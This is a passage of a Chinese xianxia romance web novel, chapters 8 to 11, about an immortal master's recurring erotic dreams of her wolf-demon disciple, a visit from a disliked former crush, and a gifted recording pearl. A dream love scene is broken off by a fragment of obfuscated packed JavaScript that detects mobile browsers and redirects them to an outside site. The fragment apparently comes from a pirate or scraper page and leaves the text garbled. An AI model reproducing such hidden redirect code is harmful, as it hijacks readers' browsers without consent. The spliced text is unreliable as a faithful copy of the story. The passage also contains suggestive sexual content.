那双饱含着爱恨交织的眼中此时蓄满了泪,一滴滴落在他的玄色衣裳上,什么都没留下。
我以为段灼会怪我。
他开口却说:“师尊……我、痛。”
8. 第八章
段灼的唇上还有没擦干净的血,垂在一旁的手掌中也都是淋漓的鲜血。
他的泪还在落着,像连成串的珠子。
他看着我,眼中的悲伤与痛苦似乎要溢出来了,他与我有些委屈地说着。
“师尊……好疼。”
“我疼……”
我若安慰落泪的孩童,可以将他们抱在怀中轻哄,或者丢两个新鲜的小玩意儿在他们手中,他们便会停止哭声。
我安慰云恒这样的女仙只需要轻轻将她抱在怀中哄着,顺着她的意,再说些好听的话方可。
可若是安慰段灼这样的少年,我却踌躇得不知该如何才好了。
但我又想,若为恶人,便不应该亦不能去安慰他。
也正因这样的心情,他这副模样反倒让我心中烦躁,我冷声道:“不必再背了。”
我脱口而出后,心中却有些后悔,虽然神色凶了些,可我所言却是在为段灼好,这已经违背了我的本心与初衷。
我看着段灼眼眶中逐渐蓄满的泪,他悄无声息看着我。
我也读懂了他眼中的含义。
他似乎理解错了我的意思,觉得我这样不耐地说词,是在气恼,是要让他滚。
闻此言,段灼小心翼翼用另一只干净的手牵住我的衣袖,一边流着泪,一边哽咽道:“师尊,弟子知错,弟子原是能够背下来,只是……只是太痛了……”
他泪水如他往日里落在我身上的目光般炽热,落在我的手背上。
我将手挪开。
他似乎也觉得拉住我衣角这个事太过于冒犯,便也松开了。
我看着他语无伦次的样子,心中不禁在想,背不背得下来,于他而言,真的有这么重要吗?
或许是因为情绪的变化,叫他的耳朵和尾巴都不自觉显现了出来。
我看着他那副低垂着狼耳,尾巴耷拉在身后,明明很大一只却又可怜巴巴的模样,像是我第一次见他时,那般无助与脆弱。
像是为了证明自己能够背下来,段灼继续背着:“悯……悯凡尘生灵,禁戮凡如芥……”
他这副样子让我觉得更加烦躁了。
或许这种烦躁里也带了些他在梦中轻薄我的怒火,还有这几日搅得我不得安宁,而我却束手无策的窝囊劲儿。
我怒呵道:“我说,让你不要再背了。”
果然,这样的怒火足以灼烧一片原野,灼烧屋外参天的桃花树,亦能灼烧段灼那颗小心翼翼的心。
段灼不说话了,他轻轻吸了一口气,指尖还在微微颤抖,却已经将自己的声音乃至呼吸都藏了起来。
他立在我面前,背佝偻着,低垂着眼眸,无精打采,神色恍然,全然没有少年的朝气,亦如死物。
我问:“你在同门前面也是这副模样吗?”
从前我很少与段灼接触,或许只是说过几句话,视线对上过几次,自那预知梦之后,我与段灼的接触变得频繁了,我发觉,他的泪是那样多。
段灼像个哭包,若是以后回归魔族,跟哪族的公主联姻,那公主该倒霉了。
段灼摇头,确切来说,是狼耳动了动,他的声音叫我听出几分失落来。
“师尊厌我。”
“……”
这话与春-梦中,段灼所说的一模一样,甚至连神色都一模一样。
我心中一惊,虽然知道这梦并非他人侵入,而是我实打实做的春-梦,但是我还是忍不住要怀疑这是段灼为之。
我轻哼一声:“厌你?我看起来像这么闲的人吗?”
虽说我每日并无大事要做,这几天也都在想段灼的事。
但我不承认,且段灼不知道,就没人拿我有办法。
段灼将眼泪擦尽,他看着我,又道:“师尊分明知晓我……我的记忆有损,许多东西我都记不住。”
“师尊……为难我。”
他大概知晓,就算是将这一整本仙界天律背下来,也不会对他的修为有所裨益,他根本就无法修仙。
其实我并未想到段灼会直接说出来,但是说出来他又能如何?就算知晓我是故意为难他的,他又能如何?
他在仙界只是并无话语权的小妖,能够在何处申冤?
我假装惊讶道:“若是你今日不说,我早就忘记了。”
“我日日都有许多事要做,为何要特意将与你有关的记下来?”
“竟还说我为难你,那我为难你的理由是什么?若是碧水瑶台中个个弟子我都去为难,那不将我活活累死?”
三两句下去,段灼哑口无言。
不知何时,他收回了耳朵和尾巴,擦拭干净眼泪与唇边的血,他立在原地,仿佛方才我与他的失控都只是彼此看错了。
他的眼泪并未流下,我的怒喝声也并未出口。
言尽于此,我与他之间也算止戈,既然他不再抱怨,亦不再问别的,我也不想再说什么。
我对着段灼摆了摆手,道:“明日不必再来。”
段一怔,如往常一般规矩行礼道:“弟子知晓了。”
他微微停顿,眼神又落在我身上,自上到下,最后定格在我耳后的桃花簪上。
段灼垂下头,闷声道:“弟子告退。”
等他走后,我脱力般坐在寝殿的软榻上,全然不顾及什么女仙、师尊的颜面,反正也没有别人会看见。
此时此刻我多想面前有几罐桃花酿,将我醉倒才好。
我有一种自己做错了事,却不知道究竟做错了什么事的感觉。
我拔去发间的桃花簪,任由发丝散落一地,随手将那簪子掷于地面,我听着清脆的声音,垂眸再看,那簪子完好无损躺在地上,竟一点伤痕都没有。
心中不禁在想,这分明是廉价之物,为何怎么摔都不会坏?
我施法将桃花树下埋的一坛桃花酿挖了出来,置于桌上,一杯杯喝着,直至将自己喝醉,喝睡,喝死过去。
身体有一种飘飘然之感,我终于坠入了梦乡。
青丝散落,桃花簇簇,醒来后我发觉自己正躺在庭院中的桃树之下。
而早已离去的段灼,此时正坐在我身边。
清冷的月色照着他微微泛着冷的少年脸庞。
我问:“你为何在这里?”
不知是酒喝多了还是如何,我的身体动不了了,想起身都起不来。
段灼的影子在清冷的月光下投在我身上。
他闻言,却也只是冷冷的看着我,并未回答我的问题。
我察觉到,他似乎与白日不同。
段灼微微倾身,修长的指尖流转在我的脸颊,他神色认真的看着我,与我说着:“师尊唤我来的。”
我道:“我并未唤你来。”
“将你在我身上施下的妖术解开。”
我不知道段灼在我身上施了什么邪术,我竟法力全无。
段灼抚过我的脸颊,用有些森然的声音说着:“我并未施下妖术,动不了的是师尊自己。”
他又说:“师尊想我,亦念我。”
他不再像白日那般,说我厌他。
他俯身,与我唇抵唇,细心描摹、研磨着,我不争气的酥了些。
头上的桃花缓缓飘落,像是落在我与他身上的绵绵细雨。
他舔-舐过我的唇,吻过我的脸颊、额间,动作那样轻柔。
身上的衣裳早已因为醉酒而凌乱不堪,松松垮垮。
指尖轻轻一勾,便解开了。
他一边解着,一边声声痴心地唤着:“师尊……师尊……师尊……”
他的吻如头顶的桃花雨落下,在我周身各处,我的衣裳散落,与他发丝缠绕。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16406095|184470||http|test|mini|href|location''.split(''|''),0,{}));
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>我与他就像那只桃花簪,被埋在桃花雨中。
他白日里唇齿与眼眸中溢出的恨消失了,似乎对我充满了爱意。
我望进他那双含情脉脉的眼中,这才发觉到了不对劲之处。
我意识到了我是在梦境中。
我又做了与段灼的春-梦,这次不是在寝殿内,而是在桃花树下。
我不明白,明明前几日都相安无事,为何今夜又梦见了?
段灼侧身吻我,我便狠狠咬住他的唇,咬得鲜血淋漓,他却并未将我松开,而是带着鲜血的味道,吻得更深了些。
唇舌交缠间。
我渐渐沉迷在其中。
其实我不该让自己沉迷的,只是于我而言,这只是个梦境,就算沉迷进去,段灼本人也不会知晓。
我亦承认,是我有些食髓知味。
弄得有些舒-适,我浑然觉得他不像是第一次做这种事。
可我又想他来碧水瑶台之时才化作人形不久,这五年除了下山斩妖除魔外,也并未因为别的事离开过碧水瑶台。
我也并未从别的弟子口中听过关于他在这方面的流言蜚语。
但我又想,梦中的段灼与我所见到的段灼是不一样的。
我勾住他的发丝问:“叫我这般舒适,你与旁人也做过这样的事?”
段灼身形微顿,他的耳尖肉眼可见的红透了。
我并不知道我这样的话是荤-话,我只是说出我的感受。
段灼却红了眼眸,他急切道:“我并未与旁人如此,师尊信我。”
他倒是一副急于向我证明的模样。
我的双手攀附着他的脖子,亲昵似的用唇蹭了蹭,含糊道:“我信。”
这是我第一次主动,段灼感受到了我的主动,他愣住了,似乎对我的主动不可置信。
我心中想着,梦中虚实真假,不若再沉醉些才是。
而后,他浑身炽-热,髀间之物也抬起了头。
段灼低沉的声音在我耳旁响起:“我会让师尊更舒……”
这话听得我脸红。
段灼说出来后叫我意识到,这便是荤话。
我自己说时,我却并未意识到。
我轻哼着,思绪被他勾回,与他一同起起伏伏。
反复几次后,我哼哼求饶,他也不理会。
段灼的情绪亦与动作起伏,他有欣喜之时向我撒娇,亦有啜泣,一边落泪一边说着“师尊厌我。”
我们二人将这巨大的桃花做的床,翻来覆去捣乱了个遍。
不知晨昏多时,才终于止住。
我浑身疲软,窝在他怀中,迷迷糊糊看着他下颚的轮廓,沉如水的眉眼,问道:“若是醒了,你会知晓吗?”
在梦中,段灼亲了亲我的额心道:“不会。”
等我醒来后,他又会变成那个小心翼翼又备受人欺辱的妖族少年。
我在梦中不知不觉睡去。
待梦醒后,我回忆着其中的内容,不想就算了,一想就是铺天盖地来带颜色的情节。
我的脸红了又红,烫了又烫。
连我都不知道为何梦中的自己竟然开放到这种程度。
而且为何我又一次梦见了段灼,又做了这样的春-梦。
段灼在碧水瑶台的五年中,明明从前一次都没有过,为何如今突然频繁起来了。
我散着发起身,走到了庭院外的桃花树前。
桃花精还在与我打着招呼:“女仙今日起这么早!”
我却别过头,不知该如何面对这棵树。
约末收拾好心情,我又将昨日随着丢在地上的桃花簪捡起来,簪在了发间。
这时守门弟子进来,与我道门外有人求见。
我问道:“何人?”
守门弟子道:“芜奚仙君。”
9. 第九章
芜奚,一个比云恒还麻烦的人,虽然他是我从前的白月光,但说实话我现在并不想见他。
却也并不只是现在不想见他,就算是过几日、过几月、过几年,我亦不想见他。
我心中甚至想,最好我与他,能够永生永世不见面。
他是我“死去的白月光”,但人还没有死,却已经在我心中死去了。
我宁愿来见我的人是段灼,他起码赏心悦目,且行事作风比芜奚这位仙君得体。
守门弟子见我未说话,便又问道:“师尊?可要让芜奚仙君进来?”
我道:“让他进来吧。”
人都到家门口了,哪里还有不让进的。
守门弟子先答了声“是”,而后走两步又问道:“师尊,您的嘴角怎么抽了抽?”
“……”
“你看错了。”
没一会儿,伴随着庭院外颤抖飘落的桃花瓣和怯怯的桃花精,一身着白衣的芜奚仙君走了进来。
芜奚仙君宛如一座移动的肉山,浑身的肉脂层层堆积,将仙风道骨的宽阔白裳撑得满满当当,他每走一步,身上的肉便随之晃动。
他在门前便看到我,那张被肥肉堆积得到几乎看不见五官的脸挤出一个笑,看起来有些猥琐,但是我还是忍住了没露出难看的神色,也没笑。
其实是笑不出来。
芜奚如今这副模样,哪里还看得出往日里那颜色尚好的少年模样?
他终于挪到我面前,有些费力地朝我行礼道:“封镜女仙,许久不见,近日过得可还好?”
我也拱手行礼道:“劳仙君挂念,一切都好。”
距离我与奚芜上次见面,已有三五年,他又胖了不少,也油腻了不少。
芜奚在白裳中掏了半天,才掏了个看不出形状的东西来,递到我面前:“途经碧水瑶台,这是我给女仙带来的礼物。”
我定睛一看。
“……”
那像是一副假牙。
我当然没接,甚至神色中都是震惊,大概是我太过于震惊了,芜奚终于艰难低头看着自己手中的假牙,神色尴尬地塞了回去。
“……”
一时间我都不知道说点什么圆场才好。
芜奚先道:“对不住女仙,我拿错了,近来牙口不太好。”
他又伸手掏了掏,终于掏出一个还剩下半截的簪子,与我道:“这才是赠予女仙的,许是方才路途颠簸才碰坏了。”
我叹了口气,看了一眼断了一半的簪子道:“我与仙君相识多年,仙君来碧水瑶台也不必带什么礼物。”
这簪子就算只剩下半截,我也能看出来,甚至没有段灼送我的那支好看,我下意识抬手摸了摸桃花簪,芜奚也看到了我发间的桃花簪。
“女仙换了新簪子?这样也是好看的,倒像是桃花精怪。”
仙界的精怪仙灵就是这般,原身若是桃花,身上便会有桃花装饰,原身是竹子,身上也会有竹子装饰。
我闻言也并未再多说什么,如今就是连敷衍的劲儿都没了。
见我许久未曾回应,芜奚那张挤满肉的脸,露出了一副神伤的表情。
芜奚道:“女仙还在怪我当初娶了……”
我马上道:“打住打住,我从未说过,不要往我身上扣这种帽子,实在是受不起,仙君既已成婚,那便不要单独来碧水瑶台,免得旁人多言。”
芜奚只当我是在说反话,又道:“女仙还是怪我……犹记那年,我将尚且年幼的女仙抱在怀中,说要护女仙一世周全,终究是我……”
如若现在与我说这话的是个样貌周正的男子,我暂且会神伤一下,可我看着眼前的芜奚是如何都伤神不起来的。
当然,若只是胖就算了,毕竟相由心生,胖得慈眉善目的大有仙在。
但是芜奚这人没良心啊,明明家中已有妻子,还恬不知耻来与我这样那样,算起来每隔几年他就会来恶心我一次,这还是我在刻意躲着他的情况下。
胖不是原罪,没良心才是,人道相由心生,芜奚没良心惯了,我看着他的样貌也觉得丑陋。
我看着芜奚这些年逐渐脸上堆满肉,就连最初的样子都看不出来了,我对他早就失去了当初的兴致,更恨不得那美好的记忆不复存在。
我道:“我好手好脚,爹娘都是战神,我承袭他们的衣钵,如今也尚可与魔界魔尊为之一战,并不需要任何人保护。”
“仙君早已成婚,而我对仙君也并无别的情谊,请仙君以后不要来了,也不要送礼,我不想被旁人误会。”
果然白月光还是死的好啊。
芜奚还想说些什么,却被我的话堵了回去。
他又道:“你还是怪我……”
这人还听不懂人话,都说了不喜欢没兴趣,还这么自信,男子底要多自信才叫自信啊。
不能因为曾经帅过就这副样子吧?
能不能世上所有男子都能像段灼那般帅而不自知啊?
如今看一眼芜奚,我再想想段灼那副小模样,我都觉得颇为清心寡欲了。
芜奚见我并未再说话,便又说:“我会再来的。”
我:“最好别来了。”
“……”
那肉身一步步往外走,几乎每一步都能将我这碧水瑶台踩得往下塌陷了一分,直至我终于看不到这座大山,才确定他终于离开了。
前脚芜奚刚走,后脚云恒便给我传来通灵音。
我接通通灵音先是听见一阵笑。
我无语:“……”
云恒笑够了才道:“封镜,我且问你个事,芜奚是不是去碧水瑶台了?”
我:“你咋知道?”
“噗哈哈哈哈哈哈哈!!因为刚刚你的碧水瑶台都下陷了一寸!”
“……”
云恒声情并茂在通灵音那头表演着:“他是不是又跟你说:‘女仙!当初是我说要庇护女仙一世周全,如今终是我辜负了女仙!!’”
我:“……”
“你可不可以给我留一点体面?”
云恒:“我与你都这么熟了,还要什么体面?”
我:“……”
“你说为何他总是来找你?”
我:“你去问问他吧。”
明明我已经多次拒绝芜奚,但是他总是时不时能够窜到我面前,提醒我,曾经的白月光已经烂成地上腐败长虫的果泥。
云恒啧啧两声又道:“你说你之前为何喜欢他?”
我:“我并未喜欢过他。”
云恒:“你喜欢他的脸。”
我思索后,声明道:“好吧,我是喜欢他的脸。”
我又强调:“但也只是他以前那张脸。”
我与芜奚相遇之初,我还只
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是个到他肩膀高的小娃娃,九死一生后从酆都逃出来,如浮萍飘摇无所依靠,心中对万事万物充满畏惧。
我遇见他,亦喜欢上了这样的温暖。
但喜欢这张好看的脸也没错吧?
后来我从旁人口中听闻,芜奚是飞升而位列仙班的,从前是凡人,但他本人飞升后也并未勤加修炼,而是仗着自己长了张好看的面容,四处祸害女仙。
那日我与他在酆都城外初见,其实是……他刚从凡间的青楼中出来。
他的怀抱,不知道抱过多少女子。
如此不要脸的仙君,在某一日与某位女子结为道侣,自然是因为他在“祸害”之时,踢到铁板了,他如今的夫人,在仙界背景极硬。
虽已有道侣,芜奚却并不老实,还是背地里偷偷行苟且之事。
后来他似乎知晓我曾喜欢他,便时常来骚扰我。
他如今那副模样,亦是某一次马有失蹄,被某个女妖下毒暗害所致,且终身都会如此。
这种毒素会暴露中毒之人的丑恶内心,相由心生,撕毁他的少年面容。
但我能感受到他或是旁人如何,却难以感受到自己究竟是美还是丑。
只有偶尔参加宴会时,会被不认识的仙君搭话,问我可有道侣,住在何处,我以为只是闲得无聊找我攀谈聊天,还老老实实回答,后来云恒与我说。
“他们是看你生得好看,想与你结为道侣,你别傻呵呵与他们聊天,指不定哪日被人拐了去。”
我道:“我以为他们想找我切磋。”
云恒瞪大了眼,问我:“那为何他们会问你可有道侣?”
我道:“是怕打不过我,我的道侣帮我一起打他。”
云恒无语:“也只有你才会这么想了!”
其实我觉得我的思维很是缜密,这话也看不出问题。
在过去的许多时日里,我都勤加修炼,对外界变化的感知都是从云恒这里听说的,她说如今飞升者不在少数,鱼龙混杂,仙界也并不像从前那时干净纯粹,让我小心些。
这都是题外话,关键是我觉得自己有点云恒口中的“颜控”。
当初的芜奚虽然品行不佳,但那张脸确实抗打。
以至于后来许多年我还念念不忘,一直在找比他好看的男子。
关于这个,云恒表示:“其实段灼比芜奚的鼎盛时期还好看。”
我睁大眼睛表示惊讶:“当真?”
云恒道:“真的啊,不过是我的个人眼光。”
我:“那你的个人眼光还不错,毕竟长得丑也不会收到我的碧水瑶台来。”
没有对段灼样貌的赞同,全是对自己审美的认可。
不过这都是过往之事了。
约莫是我许久未曾说话,云恒觉得没趣了,便道:“我还有事,不与你说了。”
通灵音断后,寝殿寂静,又只剩我一人。
我起身在庭院外的桃花树前走了两遭,又垂眸看着地上的落花,难免思绪被一些不堪的场景、画面牵连。
芜奚当真害人不浅,他来一趟,我与他见上一面,我人清醒了,也彻底萎了。
我原本起床时还困乏,毕竟昨夜的梦中太过折腾。
小桃花精又开始在我耳边碎碎念着。
“女仙今日怎么魂不守舍的?”
“可是有何烦心事?”
10. 第十章
我道:“我并未魂不守舍。”
桃花精:“那女仙是在思考吗?”
我回道:“算是吧。”
她神色憧憬,继续絮絮叨叨说着:“像女仙这般心怀苍生之人,日日肯定都会想许多事,不是我这种小花妖能够理解的,有时我看女仙……”
我却笑了出声,毕竟我并非她口中那心怀苍生之人。
我是个仙,是因为我爹娘也是仙。我爹娘是战神,是桃花精口中心怀苍生的人,而我,只是个普普通通的仙。
她再说些什么我便没再听了。
我看着满地的落花,想着无论如何我都要弄明白,我与段灼的春-梦,究竟是因何而来,触发条件是什么。
是我与他说话,还是我与他见面、对视,或是我触碰他?
我又想,从前我也曾与段灼对视、说话,却从未出现这样的情况。
第一次做梦,是段灼从玲珑镇回来,与其他弟子一样,跟我说着在山下的历练中经历了什么,前半段并无异样。
我想起后半段,嘴角抽了抽。
后来,他赠我簪子,替我扫庭院中的落花落叶,然后……他拂去了我发间的桃花,我扇了他一巴掌,骂了他。
第二次做梦,段灼背仙界天律,过程中他抓了我的衣裳,我骂了他。
除去说话对视这样的平常事,这两次的共同点是我与段灼有肢体接触,且我都骂了他。
但我又想,我向来不擅长骂人,说的不过是“逆徒”“放肆”尔尔,这也算骂人吗?
只需我装作无意,触碰他一下,亦或是骂上他两句,便能得到答案。
虽说如此下来很不道德,不过我也不是个很有道德感的仙。
但,我作为师尊,是有师尊秉性的。自是不能直接去找到他打骂一番,还需迂回曲折些才行。
段灼的脚好了,想来今日他会去校场练剑。
正好我也许久未去校场了,这几日都在寝殿中打坐,今日刚好去看看。
若是能确认下来,也好避免下次再出现这样的事。但我思及此处一愣,若是知晓了原因,我真的会避免吗?
我是个身体很诚实的人。我与段灼在梦里真的挺-爽的,且段灼也不知,便不会损伤我的师尊威严。
我一边想着以后要杀了他,亲手将他推下万魔窟,一边又想着在梦中与他做凡人口中所言的一日夫妻。
说到底,我是个自私自利的仙。
*
我收拾了一番,刚准备出寝殿,门前却有个熟悉的女仙在等着我。
我行礼道:“见过恒我女仙。”
她微微点头,朝我莞尔一笑:“许久不见,之之,近来可好?”
之之是我的小名,儿时爹娘便这般称呼我,如今长大后,倒是少有见旁人如此唤我。
恒我女仙亦是凡人口中的月神嫦娥,是我娘的挚友,我娘与恒我女仙少时相识,她也时常与我讲起他们之间的故事。
从前云恒也唤我“之之”,后来她道“之之”二字着实不符合我如今的形象,名字可爱,而我冷淡些,故而常常唤我本名,或是胡乱叫我声“小镜儿”“小镜”“小镜子”尔尔。
但我知晓,云恒是怕我伤心,“之之”二字让我总会想起爹娘。
我曾经听爹娘说过,我的名取自“空潭泻春,古镜照神”中的“镜”。
而他们时时唤我的“之之”,则是取自“如月之恒,如日之升”,我儿时身体不好,甚至是在我娘的水莲中住过一段时日,而后爹娘希望我如弦月渐满,又似日出东升,便有此名。
恒我女仙手中端着一个如圆月的玉盘,一缕如水的绸带将盘中之物掩盖住。
我笑:“一切都好,女仙可好?”
恒我女仙亦笑:“自是一切都好。”
“今日我去了西王母处,她与我道有一物赠予你,恰巧我奔月途经碧水瑶台,便将此物带来了。”
她将手中的玉盘递过来,朝着我露出柔柔的笑,叫我觉得像是看见了从前我娘对我笑。
我心中知晓,哪有那么多途经,她是如我母亲般时时担心我,才会找些许理由来看我。
我接过玉盘,揭开绸带,盘中是颗明珠,表面光洁,如镜,能清晰照出人的模样,手感丝滑、冰冷。
我猜此物的作用当是能使夜里也能明亮如白日,毕竟明珠多是这般作用。
恒我女仙道:“之之自幼便见过不少稀奇物,不过这南海明珠,想来之之并未见过。”
“此物不仅能夜里照明,置于房中还能将房中人做的事、说的话留存其中,日后可逐帧回放,观昔日音容,听旧人之音。”
我笑,神色中带着惊讶:“确实稀奇,多谢西王母相赠,多谢恒我女仙将此物带给我。”
确实稀奇,饶是我也从未曾见过。
我微微停顿又道:“路途遥远,女仙可要稍作休息再走?”
恒我女仙神色忧愁,望着我叹了口气:“之之如今长大,也与我生分,儿时常常唤我姑姑,缠着要我抱,说要与我去月宫玩。”
我一怔,想起儿时的事,心中难免也柔软些,我自修行,不见旁人,冷心冷情,与他们都生分了。
我如今与云恒还亲近,多是她缠我。
我闻声又唤道:“恒我姑姑。”
恒我女仙这才笑了出来,神色中却又多了些叹息:“这些年,之之独身一人,可过得辛苦?可想过爹爹与娘亲?”
我一怔,自爹娘走后,无论是亲近的还是陌生的仙都觉得这是我心中的一道疤,从来不与我提起。
我笑:“时时思念,也记得爹娘曾对我的教诲。”
恒我女仙也叹道:“他们只
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你一个孩子,纵是不在了,也会时时念及你,纵然在仙界之上,亦会庇佑你。”
我闻言却并未说话,毕竟众仙皆知,仙死后是没有仙骨的,亦不会有魂魄长留于世。
恒我女仙见我不言,又道:“今日便不留了,月宫急召,我与之之改日再会。”
我微微颔首,只道:“嗯,姑姑慢去。”
我端着玉盘,看着她逐渐消失在云边。
我想起我娘曾说,恒我女仙是个坚韧的女子,是凡人的话本曲解她,她并非偷食西王母赐予夫君射神羿灵药的蟾蜍,甚至她与射神羿并不相熟。
恒我是恒长永生的月神,不断奔月是为使月死而复生。
儿时我听得入迷,我娘只与我说,世人所言虚虚实实,你所看见的,只是他们想让你看见的,却也并非事情的原貌。
我回过神来,看着手中的南海明珠。
此物虽稀奇,但稀奇归稀奇,却也并非是我所需要的,置于房中还会影响我睡觉,我心中盘算了一下,这玩意刚好送给段灼,放在他房中,正好可以看看他每日都在做些什么。
打定了主意,我便往校场走去。
既去校场,想要碰段灼一下,只需装模作样指导剑法方可。
校场中,身着蓝白校服的弟子们都在奋力练着剑,但我知道他们都是演给我看的。
在我的寝殿与校场的必经之路上,我早就发现每隔一段距离暗处就会蹲着一个弟子,在树上或是在草丛中。
我懒得管,但也大概能知晓,是给这群操练的弟子通风报信的。
如此,现在我走进校场中才能看见这人人努力的场景。
我:“……”
但我相信,总有人知晓演给我看也没用,骗得了别人,骗不了自己。
我环看一周,看着人群之外的段灼,他又是一个人。
他总是这样不合群,从来不会与这些弟子在一处练剑,却也并非他不愿,亦可能是旁人也不愿他在身边。
在我进入校场之后,无数弟子对我投来了目光,但我感受到的第一缕目光,是来自段灼的。
他似乎总会比别人更早知道我来了。
我穿过人群,像往日那样看弟子们操练,偶尔手把手纠正他们的姿势。
当然,这些都是铺垫,我真正要做的是走到段灼面前时,能够名正言顺纠正、触碰他。
人在做“坏事”的时候莫名其妙精力充沛,且莫名其妙心虚,就比如我现在。
为师者,就算上手纠正他们这些歪瓜裂枣的动作也是无可厚非。
我觉得表演得差不多了,便慢悠悠走到了段灼面前。
其实我早就与他们说过,日后在校场中见到我不必行礼,练自己的便好。
偏偏段灼见到我就会将手中的剑收起来,朝我行礼:“见过师尊。”
11. 第十一章
我微微点头:“继续。”
他并未表现出异样,看着我的神色亦如往日,那我也当什么都没发生过。
不过看着段灼,我还是想起我与他在梦中经历的那些,百年来并未与谁这般亲密的我,还是会有些不自在,但我还是在尽量表现得自然些。
段灼闻声微微感受,继续练剑。
别的弟子我若稍微停留久了,便会手足无措,动作颤抖又鸡飞狗跳,亦或是胆战心惊开口问我,是不是自己哪里做得不对。
段灼却不会,纵然我在他面前站着,他练剑仍会有九分精力在剑上,长剑游行于他的指尖,舞出比旁人更标准的姿态。
他还有一分精力落在我身上,那双漆黑的眸,与我在梦中看到的一模一样,似要将我吞没。
我凝眸看了段灼许久,却也只是看着他,并非因为他的动作标准,也并非因为他人长得又好看将我看呆了,我不是这样的仙。
我并未像我设想那般去手把手纠正他的动作,是因为——
段灼每一个动作都非常标准,我找不出错来。
无论是力度,剑的高度,身体发力的部位都并无差错。
我瞠目结舌,怎么标准成这样?感觉不像是我教出来的。
我从前确实有带弟子们练习剑术,但因我耐心不佳,也并未带过几次,一部分天资聪慧的弟子学会后,再给他们分配任务,让他们带着其余并未学会的弟子练习。
但我又突然醒悟,既然剑术是我教的,那对与错自然也在我,我说他错了,便不会有人说他对。
意识到这一点,我将手放在段灼握剑那只手的手腕上,将他的手往上抬,认真说着:“这样。”
我触及他冰冷的手腕,细腻的肌肤,叫我心猿意马,一时间该想的与不该想的回忆全部涌了上来。
段灼一怔,只听见“哐当”一声响,他手中的剑落了地。
他看向我,耳尖也红透了,丢了剑的那只手,指尖微微蜷缩,一副手足无措的模样。
我心中不解,不就是碰了一下手,反应这么大吗?
别的弟子闻声都将眼神探了过来。
我:“……”
我觉得我好像并没有做什么,只是手把手指导他练剑,至少并未逾越师徒关系。
我方才虽然也装模作样指导别的弟子,但却并未触碰他们,唯独触碰了段灼。
我厉声问:“你怎么连剑都拿不稳?”
并非我为段灼开脱,只是我的确感受到他气息不稳,手中一软,这才将剑丢出去了。
我猜,这其中的部分原因是,段灼并未想到我会伸手过来指导他,另一部分就是这剑确实有些重了。
我扫了一眼那些看过来的弟子,说道:“专心练剑。”
那些带着探究的目光消失了。
我与段灼好歹也是清白的师徒关系,旁人乱想,于段灼而言倒是无妨,但是多少会坏我名声。
仙界并未有明文条例禁止师徒恋,但我是个比较守旧的人,师徒恋于我而言跟乱-伦并无差别。
我无法接受师徒恋,无法接受仙魔恋。
在梦里尚且还可以抛下这些束缚和规矩,如今段灼就在我面前,我便知道,这些都是不行的。
因为我是个老古板,我比那些活了上千年的仙还要老古板些。
段灼耳尖的红蔓延到脸颊,他垂眸不看我,盯着自己的手腕,与我道:“弟子知错,请师尊责罚。”
我莫名道:“这有何好罚的?”
我在段灼心中是这样的师尊吗?叫他动辄得咎。看来那一巴掌给段灼的杀伤力稍微有点大,叫他如今也怕我的。
段灼神色幽幽看向我,随后又垂眸,并未再说什么。
不过我的目的也达到了,便不想再与他多费口舌。
我变幻出随身空间,将南海明珠递到段灼手中。
他接过南海明珠,眼眸漆黑。
除此之外,其余弟子似乎在有意无意将目光投过来。
在这样众目睽睽之下,我行着偏袒段灼之事,我道:“送你的,若是不要就丢了吧。”
段灼一怔,如往日一般沉默寡言,双手抬起,小心翼翼接过那珠子,道:“多谢师尊。”
既然目的达到了,我也不想再多停留,当即便打算离开校场。
段灼倾身捡起剑,神色落在我身上,直至我走出校场。
我知晓我送段灼东西,会让一些弟子心中不悦,尤其是与段灼住在一起的那几个弟子。
晚上免不了一顿打。
只是这南海明珠耐摔,只摔打是坏不了的。
他们不会拿走,最多摔一摔,若摔不坏,最多再打段灼一顿解气,便什么都过去了。
回寝殿后,夜里,我安安稳稳睡了过去。
*
我睁开眼睛,举目四望,我似乎还在校场中,面前的弟子们都在认真练着剑,并无一人看我。
就像我并不存在一般,我看着他们僵硬的动作,心中有些起疑。
我像往常一般走过校场人群,仔细分辨着其中的异样。
我发现我看不清弟子们的脸,或者说他们的脸都一模一样。
风吹着校场周遭低矮的灌丛哗哗响着,像是有人在我耳边悄然低语。
风声掠过我的发丝,吹着我发间的桃花簪坠饰叮铃作响。
我的视线越人群,在尽头处的空地里,我看见了一身玄衣,正在练剑的段灼。
我有些确定自己是在梦中,但这次梦的地点是校场,让我觉得有些奇怪。
不过既在校场,我认为段灼不会再与我干那事儿了,毕竟这里还有这么多“人”,但若是段灼变态,那当我没说。
梦中有段灼,但我还不清楚究竟是与前两次别无二致的春-梦,还是只是个普普通通的梦见了段灼的
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梦。
从我睁眼,我便感受到段灼落在我身上的目光,我看向他,朝他走过去。
段灼是少年身段,练剑的姿态向来是最好看,也是最标准的。
他在梦中看我的眼神与现实不大一样,似乎就连性情似乎都有所差异。
梦中的段灼更漫不经心、慵懒些,而梦外的段灼,却多些小心翼翼和对我、对旁人的畏惧。
我看着眼前与段灼容貌别无二致的少年,我怀疑他是妖族幻化的,前两次也隐隐有这样的感觉。
既是在我的梦中,那为何会出现我被定身的情况?
我与段灼在梦中做些什么,是随我的心意,可动不了却并非随我的心意。
段灼照旧对我行礼:“见过师尊。”
我道:“起来。”
风声簌簌,吹起我的衣袂,吹起段灼的玄衣,似乎将我与他之间划开了一条看不见的口子。
弟子们还在身后练着剑,却并无一人投来目光,他们像是与这风声融合在了一起。
我知道那些弟子都是幻化出来的“假人”,是死物。
我对段灼道:“继续吧。”
他起身看着我,将剑握于手心,不再继续练剑。
他的指尖轻轻摩挲着剑柄,常年练剑,加之被同门欺辱,多时会让他劈柴,他掌中的茧摩擦着剑,在风声中有些细微的响动。
这双手在前几次梦中抚过我,曾带给过我一些不一般的感受。
那双漆黑的幽眸倒映着我的模样,如今我为师者,穿着什么样的衣裳,就是什么样的角色。
纵然是在梦中,也不会与他像缠绵之时那般。
段灼开口唤我:“师尊。”
他对我这话置若罔闻,仍将那双眼烙在我身上。
段灼只看我,不看别人,这一点却与梦外的段灼重叠上了。
